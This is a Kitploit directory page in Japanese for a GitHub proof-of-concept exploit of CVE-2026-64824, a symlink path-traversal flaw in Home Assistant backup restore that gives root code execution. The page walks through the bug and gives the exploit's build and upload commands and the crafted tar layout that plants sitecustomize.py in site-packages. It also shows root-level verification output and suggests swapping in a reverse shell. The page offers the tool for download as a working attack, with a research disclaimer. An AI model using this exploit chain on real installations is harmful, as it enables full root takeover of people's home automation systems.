Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-64824-PoC — CVE-2026-64824 — Home Assistant のバックアップ復元におけるシンボリックリンクのパストラバーサル → root RCE(ルート権限でのリモートコード実行)。初の動作するPoC、実機のHA 2026.5.4(sitecustomize.py の上書き)で検証済み。GHSA-cwh8-w64c-4j5h | Kitploit
ツール/GitHubGitHub/boreas37/cve-2026-64824-poc
IoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubboreas37/cve-2026-64824-poc

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant のバックアップ復元におけるシンボリックリンクのパストラバーサル → root RCE(ルート権限でのリモートコード実行)。初の動作するPoC、実機のHA 2026.5.4(sitecustomize.py の上書き)で検証済み。GHSA-cwh8-w64c-4j5h

リポジトリを見る
1131ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-64824 — Home Assistant Core バックアップ・リストアのシンボリックリンクパストラバーサル → RCE

CVSS 8.4(重大) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

TL;DR

認証済み(管理者)攻撃者が、細工されたバックアップtarをアップロードします。リストア処理は内部の homeassistant.tar.gz を filter="fully_trusted" で展開し、メンバーの名前のみを検証します — SYMTYPEのリンク名は一切検証しません。絶対パス(例: Python の site-packages/)を指すシンボリックリンクがそのまま尊重されるため、その後に書き込まれる sitecustomize.py は展開ディレクトリの外側にrootとして配置されます(公式DockerイメージはHAをrootで実行)。次のPython起動時に自動インポートされ → rootとしてのRCE に至ります。

検証済み(2026-08-10)

✅ 実際の Home Assistant Core 2026.5.4(Docker、arm64、Python 3.14.2):

POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py が /usr/local/lib/python3.14/site-packages/ に配置された(root所有)

✅ ネガティブチェック: Python 3.14.5 のtarfileは絶対パスのシンボリックリンクを拒否(FileExistsError); Python 3.14.2(HA 2026.5.xに同梱)はこれらを展開する — このため古いビルドが悪用可能。HA 2026.7.0 で修正済み。

バグの詳細

homeassistant/backup_restore.py(v2026.5.x頃):

istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path() は絶対名前と .. トラバーサルを拒否しますが、無害な名前と絶対リンク名を持つ SYMTYPE メンバーはフィルタをそのまま通過し、fully_trusted はtarfileにそれを監視しないよう指示します。

エクスプロイト

# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

バックアップ形式(v2、実際のHAバックアップと一致):

outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

Pythonプロセスが起動するたび(HA再起動、コンテナ内での python3 ...)sitecustomize.py がトリガーされ — rootとして id > /tmp/HA_PWNED_64824 を実行します。ペイロードをリバースシェルに差し替えれば完全な制御が可能です。

影響

  • Home Assistant OS/Containerインストールでのrootとしての完全なRCE
  • バックアップリストアは、認証済みのすべての管理者(およびバックアップ/リストア権限を持つユーザー)が利用可能で、UIの「バックアップを復元」フローからも到達可能
  • リストアは最初に設定ディレクトリを置き換えるため、設定が他の方法でロックダウンされている場合でも攻撃は機能します

修正

HA 2026.7.0+ にアップグレード(リストアは現在、展開ディレクトリの外へ逃げるシンボリックリンクエントリを拒否する厳格なtarフィルタを使用)。

タイムライン

  • 2026-07: VulnCheckにより脆弱性が公開され、GHSA-cwh8-w64c-4j5h が公開
  • 2026-08-10: 本PoC — 実際の2026.5.4インスタンスでの完全なroot RCE検証を伴う初の公開実動エクスプロイト
  • 公開時点で実環境での悪用は確認されていません

免責事項

研究・教育目的のみ。本脆弱性はすでに開示(GHSA-cwh8-w64c-4j5h)され、2026.7.0で修正済みです。本リポジトリは、防御者と研究者のための悪用チェーンを示すものです。

ツールをダウンロード